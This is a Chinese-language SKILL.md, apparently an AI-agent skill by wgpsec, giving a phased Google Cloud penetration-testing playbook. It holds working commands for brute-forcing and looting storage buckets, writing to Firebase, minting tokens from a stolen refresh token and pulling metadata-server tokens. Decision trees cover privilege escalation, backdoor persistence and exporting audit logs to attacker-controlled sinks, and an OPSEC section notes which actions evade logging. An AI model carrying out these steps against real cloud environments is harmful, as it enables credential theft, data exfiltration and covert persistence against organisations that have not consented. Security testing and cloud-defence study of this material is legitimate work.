gcp-pentesting

by wgpsec

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SKILL.md About

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name: gcp-pentesting
description: "GCP 云环境渗透测试总体方法论。当目标使用 Google Cloud Platform、发现 GCP 相关资产（GCS Bucket/Compute Engine/Cloud Functions/GKE）、获取 GCP 凭据（Service Account Key/OAuth Token/Metadata Token）、或需要对 GCP 环境进行安全评估时使用。提供从未授权枚举到提权、后渗透、GCP-to-Workspace 穿越的全流程决策树。覆盖 37+ GCP 服务攻击面"
metadata:
  tags: "gcp,google-cloud,service-account,compute-engine,gcs,gke,cloud-functions,iam,提权,后渗透,GCP渗透,云安全"
  category: "cloud"
---

# GCP 云环境渗透测试方法论

GCP 是全球三大公有云之一，承载了大量企业核心业务。其独特的资源层级模型（Organization → Folder → Project → Resource）、Service Account 机制和 IAM 权限继承模型构成了与 AWS/Azure 截然不同的攻击面。本技能以攻击阶段（Phase）为主线，组织从"零凭据"到"完全控制"的完整渗透路径。

### GCP 与 AWS 的核心区别

| 概念 | GCP | AWS |
|---|---|---|
| 资源层级 | Organization → Folder → Project → Resource | Account → OU → Resource |
| 身份主体 | Google Account、Service Account、Group | IAM User、IAM Role |
| 凭据类型 | SA Key (JSON)、OAuth Token、Metadata Token | AK/SK、STS Token、Instance Profile |
| 权限绑定 | 在资源上绑定（get-iam-policy） | 在主体上附加策略（Policy） |
| PassRole 等价 | `iam.serviceAccounts.actAs` | `iam:PassRole` |
| 元数据端点 | 需要 `Metadata-Flavor: Google` 头 | IMDSv1 无需头 / IMDSv2 需 Token |
| 访问范围 | OAuth Scopes 限制 Token 能力 | 无等价机制 |

## 深入参考

识别到具体攻击阶段后，加载对应参考文档获取完整技术细节：

- 37 服务提权路径（按集群分组） → 读 [references/iam-privesc.md](references/iam-privesc.md)
- 后渗透与持久化技术清单（20+ 服务） → 读 [references/post-exploit-persistence.md](references/post-exploit-persistence.md)

## Phase 0: 攻击面判断

拿到一个 GCP 相关目标后，首先判断当前手持的资产类型，决定进入哪个攻击阶段：

```
当前持有什么？
├── 无任何凭据
│   ├── 有目标域名/IP → Phase 1（未授权枚举）
│   ├── 有 SSRF 漏洞 → 直接打 Metadata 获取 SA Token → Phase 2
│   └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 Service Account Key（JSON 格式，含 private_key 字段）
│   └── → Phase 2（凭据验证与权限评估）
│
├── 有 OAuth Access Token（ya29. 开头）
│   └── → Phase 2（注意：有效期通常 1 小时，需快速行动）
│
├── 有 Refresh Token（从 gcloud 本地配置窃取）
│   └── → 生成新 Access Token → Phase 2（可长期维持）
│
├── 在 Compute Engine / Cloud Functions / Cloud Run 实例内部
│   └── → 通过 Metadata 获取绑定 SA 的 Token → Phase 2
│
└── 有 gcloud CLI 配置目录（~/.config/gcloud/）
    └── → 提取 access_tokens.db / credentials.db → Phase 2
```

### GCP 凭据类型速查

| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| SA Key (JSON) | JSON 文件含 `type: service_account` + `private_key` | 永久（直到删除） | 控制台创建 / 代码泄露 |
| OAuth Access Token | 以 `ya29.` 开头 | 1 小时 | gcloud / Metadata / API |
| Refresh Token | 存储在 credentials.db 中 | 默认 16 小时（可配置为永不过期） | gcloud 本地文件 |
| Metadata Token | 从 169.254.169.254 获取 | 自动轮换（~1 小时） | Compute/Functions/Run 内部 |
| OIDC Identity Token | JWT 格式 | 1 小时 | SA 签发 / Metadata |
| HMAC Key | AccessId + Secret（用于 GCS 互操作） | 永久 | gsutil hmac create |

### OAuth Scopes 与 IAM 的关系

GCP 的 Metadata Token 受 OAuth Scopes 限制。即使 SA 在 IAM 中拥有 Owner 权限，如果 VM 配置的 Scope 仅为 `cloud-platform.read-only`，Token 也只能读取。绕过方法：

- 在被入侵主机上搜索 SA Key 文件（不受 Scope 限制）
- 跳转到 Scope 限制更宽松的其他 VM
- 利用 `iam.serviceAccountKeys.create` 权限生成新 Key

## Phase 1: 未授权枚举

在没有任何 GCP 凭据的情况下，仍可对目标进行大量信息收集。

### 高价值枚举目标

| 目标 | 攻击方式 | 价值 |
|---|---|---|
| GCS Bucket | 域名枚举 + 暴力猜解 `storage.googleapis.com` | 数据泄露、获取凭据文件 |
| Cloud Functions URL | `https://REGION-PROJECT.cloudfunctions.net/FUNC` | Web 漏洞利用、未鉴权调用 |
| Cloud Run 服务 | `https://SERVICE-xxx.a.run.app` | Web 漏洞利用 |
| App Engine | `https://PROJECT.appspot.com` | Web 漏洞利用、版本枚举 |
| Firebase RTDB | `https://PROJECT.firebaseio.com/.json` | 直接读取数据库 |
| Compute Engine 公开端口 | Nmap + 服务指纹 | SSRF → Metadata → SA Token |
| BigQuery 公开数据集 | `bq ls --project PROJECT` | 敏感数据泄露 |
| Source Repositories | `gcloud source repos list` | 代码泄露 |
| API Keys | 前端代码 / 请求抓包 | 未限制的 API Key 滥用 |

### GCS Bucket 快速枚举

```bash
# 1. 检查 Bucket 是否公开可列出
curl "https://storage.googleapis.com/TARGET-BUCKET"
gsutil ls gs://TARGET-BUCKET --no-sign-request 2>/dev/null

# 2. 暴力猜解 Bucket 名（常见命名规则）
for name in TARGET TARGET-backup TARGET-dev TARGET-staging TARGET-prod; do
  curl -s -o /dev/null -w "%{http_code} $name\n" \
    "https://storage.googleapis.com/$name"
done

# 3. 如果可读，下载敏感文件
gsutil -m cp -r gs://TARGET-BUCKET/ ./loot/ 2>/dev/null

# 自动化工具
# GCPBucketBrute - 枚举 GCS Bucket 并测试权限
python3 gcpbucketbrute.py -k TARGET_KEYWORD -w wordlist.txt
```

### Firebase 数据库快速检测

```bash
# 尝试未授权读取 Realtime Database
curl "https://TARGET-PROJECT.firebaseio.com/.json"

# 尝试写入测试
curl -X PUT "https://TARGET-PROJECT.firebaseio.com/test.json" -d '"pwned"'
```

### 公开资源综合枚举工具

```bash
# cloud_enum - 枚举 GCS Bucket、Firebase、App Engine、Cloud Functions
python3 cloud_enum.py -k TARGET_KEYWORD

# CloudBrute - 多云公开资源暴力枚举
CloudBrute -d TARGET -k TARGET -w wordlist.txt
```

## Phase 2: 凭据验证与权限评估

获取凭据后，第一步是验证有效性并评估权限范围。

### 2.1 凭据配置与身份验证

```bash
# 方式一：SA Key 文件认证
gcloud auth activate-service-account --key-file=sa_key.json

# 方式二：直接使用 OAuth Token（无需文件）
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.xxxx"
gcloud projects list

# 方式三：使用窃取的 Refresh Token 生成新 Access Token
curl -s --data client_id=32555940559.apps.googleusercontent.com \
  --data client_secret=ZmssLNjJy2998hD4CTg2ejr2 \
  --data grant_type=refresh_token \
  --data refresh_token=STOLEN_REFRESH_TOKEN \
  --data scope="https://www.googleapis.com/auth/cloud-platform" \
  https://www.googleapis.com/oauth2/v4/token

# 身份确认
gcloud auth list
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://www.googleapis.com/oauth2/v1/tokeninfo"
```

### 2.2 组织与项目枚举

```bash
# 组织信息
gcloud organizations list
gcloud resource-manager folders list --organization ORG_NUMBER

# 项目列表
gcloud projects list

# 当前项目详情
gcloud config get-value project
gcloud projects describe PROJECT_ID
```

### 2.3 权限枚举

```bash
# 方法一：列出 SA 的 IAM 绑定（需要 iam 读权限）
gcloud projects get-iam-policy PROJECT_ID \
  --flatten="bindings[].members" \
  --filter="bindings.members:serviceAccount:SA_EMAIL" \
  --format="table(bindings.role)"

# 方法二：暴力枚举可用权限（无需 iam 读权限）
# bf_my_gcp_permissions - 暴力测试当前凭据拥有的权限
python3 bf_my_gcp_permissions.py -p PROJECT_ID

# 方法三：列出拥有 Key 的 SA（寻找更多攻击面）
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $sa ==="
  gcloud iam service-accounts keys list --iam-account "$sa"
done
```

### 2.4 权限评估决策树

```
当前身份权限如何？
├── 有 roles/owner 或 roles/editor → 已是高权限，直接 Phase 4
├── 有 iam 读权限但无写权限 → 枚举所有 SA/用户/角色，寻找提权路径 → Phase 3
├── 有特定服务权限（如 storage.*、compute.*、cloudfunctions.*）
│   ├── 检查是否有 iam.serviceAccounts.actAs → 可通过服务提权 → Phase 3
│   ├── 有 compute.instances.create + actAs → Compute 提权 → Phase 3
│   └── 可直接利用当前权限进行后渗透 → Phase 4
├── Token 受 OAuth Scopes 限制
│   └── 尝试绕过 Scopes（搜索 SA Key、跳转其他 VM）→ Phase 2
└── 权限极低 → 暴力枚举更多权限，或回到 Phase 1 寻找更多入口
```

参考 `gcp-exploit` 技能，获取 GCP IAM 提权和 GKE 攻击深度指南

参考 `cloud-iam-audit` 技能，进行跨云 IAM 审计

### 2.5 自动化审计工具

| 工具 | 用途 | 命令 |
|---|---|---|
| ScoutSuite | 多云安全审计报告 | `scout gcp --user-account` |
| gcp_scanner | GCP 资源扫描与权限评估 | `python3 __main__.py -o /tmp/out/ -g ~/.config/gcloud` |
| gcp_enum | GCP 环境枚举（Bash 脚本） | `./gcp_enum.sh` |
| bf_my_gcp_permissions | 暴力枚举当前凭据权限 | `python3 bf_my_gcp_permissions.py -p PROJECT` |
| gcpwn | GCP 渗透测试框架 | `python3 main.py` |
| Hayat | GCP 攻击路径发现 | `hayat scan --project PROJECT` |

## Phase 3: 提权

GCP 提权的核心思路：利用当前权限去获取更高权限。GCP 有数百个权限，其中很多组合可以形成提权路径。两大类提权模式：

1. **主体提权**：冒充另一个主体（如通过 `getAccessToken` 冒充 SA）
2. **资源提权**：在特定资源上获取更多权限（如通过 `setIamPolicy` 给自己加权限）

关键权限 `iam.serviceAccounts.actAs` 是 GCP 版的 `iam:PassRole`，允许将 SA 附加到资源上。

### 提权路径决策树

```
当前拥有哪些权限？
├── IAM 直接操作
│   ├── iam.roles.update → 修改已分配角色添加权限
│   ├── iam.serviceAccounts.setIamPolicy → 给自己授予 SA 的 TokenCreator
│   ├── iam.serviceAccountKeys.create → 为目标 SA 创建新 Key
│   ├── iam.serviceAccounts.getAccessToken → 直接获取 SA Token
│   ├── iam.serviceAccounts.signBlob / signJwt → 签名冒充 SA
│   └── iam.serviceAccounts.implicitDelegation → 通过委派链冒充
│
├── 服务 + actAs 组合
│   ├── compute.instances.create + actAs → 创建绑定高权限 SA 的 VM
│   ├── cloudfunctions.functions.create + actAs → 创建恶意 Cloud Function
│   ├── run.services.create + actAs → 部署恶意 Cloud Run
│   ├── cloudbuild.builds.create + actAs → 提交恶意构建任务
│   ├── composer.environments.create + actAs → 创建 Composer 注入 DAG
│   ├── cloudscheduler.jobs.create + actAs → 定时调用 googleapis.com API
│   └── aiplatform.customJobs.create + actAs → Vertex AI 任务窃取 Token
│
├── 资源 setIamPolicy
│   ├── compute.instances.setIamPolicy → 授予自己 compute.admin
│   ├── cloudfunctions.functions.setIamPolicy → 授予 invoker 权限
│   ├── storage.buckets.setIamPolicy → 获取 Bucket 读写权限
│   ├── secretmanager.secrets.setIamPolicy → 获取 Secret 访问权
│   └── bigquery.datasets.setIamPolicy → 获取数据集访问权
│
└── 间接提权
    ├── storage.objects.get → 读取 Composer DAG / Cloud Functions 代码 Bucket
    ├── container.clusters.get + K8s RBAC → GKE 集群内提权
    ├── secretmanager.versions.access → 读取存储的凭据
    └── compute.projects.setCommonInstanceMetadata → 注入 SSH Key 到所有 VM
```

→ 读 [references/iam-privesc.md](references/iam-privesc.md)

## Phase 4: 后渗透与持久化

获得较高权限后，进入后渗透阶段。目标是数据获取、横向移动和建立持久化。

### 4.1 高价值数据源

```
优先搜索哪些数据源？
├── Secret Manager → 凭据、API Key、数据库密码
├── GCS Bucket → 文档、备份、日志、配置文件
├── BigQuery → 业务数据、分析数据
├── Cloud SQL → 业务数据库
├── Firestore / Spanner → NoSQL / 分布式数据库
├── Compute Engine 磁盘快照 → 挂载后读取完整文件系统
├── Cloud Logging → 应用日志中的敏感信息
├── Artifact Registry → 容器镜像中的源码和凭据
└── Source Repositories → 代码仓库
```

### 4.2 横向移动

**跨项目移动：**
- 利用 Organization 级别 IAM 绑定（一个 SA 可能在多个 Project 有权限）
- 利用 Shared VPC（跨项目网络访问）
- 利用 Service Account 的跨项目 impersonation

**跨服务移动：**
- Compute Engine → 通过 Metadata 获取 SA Token → 访问其他服务
- GKE Node → 获取 Node SA Token → 跳出 K8s 到 GCP 平面
- Cloud Functions / Cloud Run → 修改代码执行任意操作
- Composer (Airflow) → 注入恶意 DAG

### 4.3 持久化技术概览

| 服务 | 持久化方法 | 隐蔽性 |
|---|---|---|
| IAM | 创建新 SA Key、添加 IAM Binding、修改角色权限 | 低（Admin Activity 日志） |
| Compute Engine | SSH Key 注入、startup-script 后门、磁盘快照 | 中 |
| Cloud Functions | 修改函数代码、添加 allUsers invoker 权限 | 中 |
| Cloud Run | 部署后门服务、修改现有服务代码 | 中 |
| Cloud Scheduler | 创建定时任务调用 googleapis.com API | 高 |
| Pub/Sub | 添加外部订阅者持续接收消息 | 高 |
| Cloud Build | 修改触发器注入恶意构建步骤 | 高 |
| Storage | Bucket IAM 后门、HMAC Key 创建 | 中 |
| Token 窃取 | Refresh Token 持久化、SA Key 离线保存 | 高 |
| API Keys | 创建不受限制的 API Key | 中 |
| Logging | 修改 Log Sink 将审计日志导出到攻击者控制的目标 | 高 |

→ 读 [references/post-exploit-persistence.md](references/post-exploit-persistence.md)

## Phase 5: Workspace 穿越

GCP 与 Google Workspace 之间存在深度集成关系。拥有特定 GCP 权限的攻击者可能穿越到 Workspace 层面，反之亦然。

### 关键穿越路径

```
GCP → Workspace
├── Domain-Wide Delegation（DWD）
│   ├── SA 被授予 DWD 权限 → 冒充 Workspace 任意用户
│   └── 访问 Gmail、Drive、Calendar、Admin SDK 等
├── gcloud OAuth Scope 滥用
│   └── gcloud 支持 drive scope → 窃取 Drive 文件
└── Workspace 用户密码重置
    └── 拥有 Admin SDK 权限 → 重置用户密码

Workspace → GCP
├── Workspace 管理员 → 自动拥有 Organization Admin 权限
├── Group 成员管理 → 添加到有 GCP 权限的 Group
└── SAML/OIDC Federation → 利用 Identity Provider 信任关系
```

参考 `gcp-workspace-pivot` 技能，获取 GCP 到 Workspace 穿越完整指南

## 附录: GCP 速查

### 常用 gcloud 命令

```bash
# 身份与权限
gcloud auth list                                          # 当前认证身份
gcloud auth print-access-token                            # 打印 Access Token
gcloud projects get-iam-policy PROJECT_ID                 # 项目 IAM 策略
gcloud iam service-accounts list                          # 列出所有 SA
gcloud organizations list                                 # 列出组织

# 资源枚举
gcloud compute instances list                             # 列出 Compute 实例
gcloud storage ls                                         # 列出 GCS Bucket
gcloud functions list                                     # 列出 Cloud Functions
gcloud run services list                                  # 列出 Cloud Run 服务
gcloud sql instances list                                 # 列出 Cloud SQL
gcloud secrets list                                       # 列出 Secret Manager
gcloud container clusters list                            # 列出 GKE 集群

# Metadata 服务（从实例内部）
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
```

### GCP 服务缩写对照表

| 服务 | 攻击面关键词 |
|---|---|
| IAM | 权限策略、Service Account、角色绑定、提权 |
| Compute Engine | 实例、Metadata、SSH Key、startup-script |
| GCS (Cloud Storage) | Bucket 策略、ACL、公开访问、HMAC Key |
| Cloud Functions | 函数 URL、环境变量、绑定 SA |
| Cloud Run | 服务 URL、容器部署、SA 绑定 |
| GKE | RBAC、Node SA、Pod SA、集群凭据 |
| BigQuery | 数据集权限、数据导出、Row-Level Security |
| Cloud SQL | 公开访问、导出、连接 |
| Secret Manager | 密钥存储、版本访问 |
| KMS | Key Policy、加解密权限 |
| Cloud Build | 构建触发器、SA 令牌 |
| Composer (Airflow) | DAG 注入、Bucket 后门 |
| Pub/Sub | Topic/Subscription 策略 |
| Cloud Scheduler | 定时任务、OAuth/OIDC Token 获取 |
| Vertex AI | Notebook、Custom Job、Model 部署 |
| Artifact Registry | 镜像仓库策略、镜像投毒 |

## 注意事项

**Cloud Audit Logs 审计感知：** GCP 的审计日志分为两类：

| 日志类型 | 内容 | 默认启用 | OPSEC 影响 |
|---|---|---|---|
| Admin Activity | 资源创建/修改/删除、IAM 变更 | 始终启用，不可关闭 | 高（所有管理操作可见） |
| Data Access | 数据读取/写入（如 GCS GetObject、BigQuery 查询） | 默认关闭 | 低（但组织可能启用） |

**高风险操作（必定触发 Admin Activity 日志）：**
- IAM 变更（CreateServiceAccount、CreateServiceAccountKey、SetIamPolicy）
- 资源创建（CreateInstance、DeployFunction、CreateCluster）
- 角色变更（iam.roles.update、setIamPolicy）

**检测绕过注意事项：**
- 数据平面操作（GCS 读取、BigQuery 查询）在默认配置下不记录
- Metadata 服务访问不产生 Cloud Audit Log
- Organization Policy 可能限制 SA Key 创建、外部 IP 分配等操作
- VPC Service Controls 可能阻止数据离开受保护的项目边界

**区域差异：** GCP 资源是区域/多区域隔离的。枚举时需遍历所有可用区域。全球服务（IAM、Cloud Resource Manager）不受区域限制。